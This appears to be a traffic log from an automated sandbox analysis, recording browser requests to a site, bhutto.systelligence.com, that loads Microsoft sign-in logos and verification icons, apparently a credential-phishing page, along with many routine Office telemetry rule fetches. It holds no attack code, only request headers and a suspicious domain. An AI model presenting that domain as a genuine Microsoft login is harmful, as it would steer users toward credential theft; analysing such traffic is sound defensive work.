Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bhutto.systelligence.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w3css/4/w3.css HTTP/1.1Host: www.w3schools.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bhutto.systelligence.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bhutto.systelligence.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/22755d9a86c9/main.js? HTTP/1.1Host: bhutto.systelligence.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: bhutto.systelligence.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/22755d9a86c9/main.js? HTTP/1.1Host: bhutto.systelligence.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/jsd/r/8df0dd71cde1ddaf HTTP/1.1Host: bhutto.systelligence.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
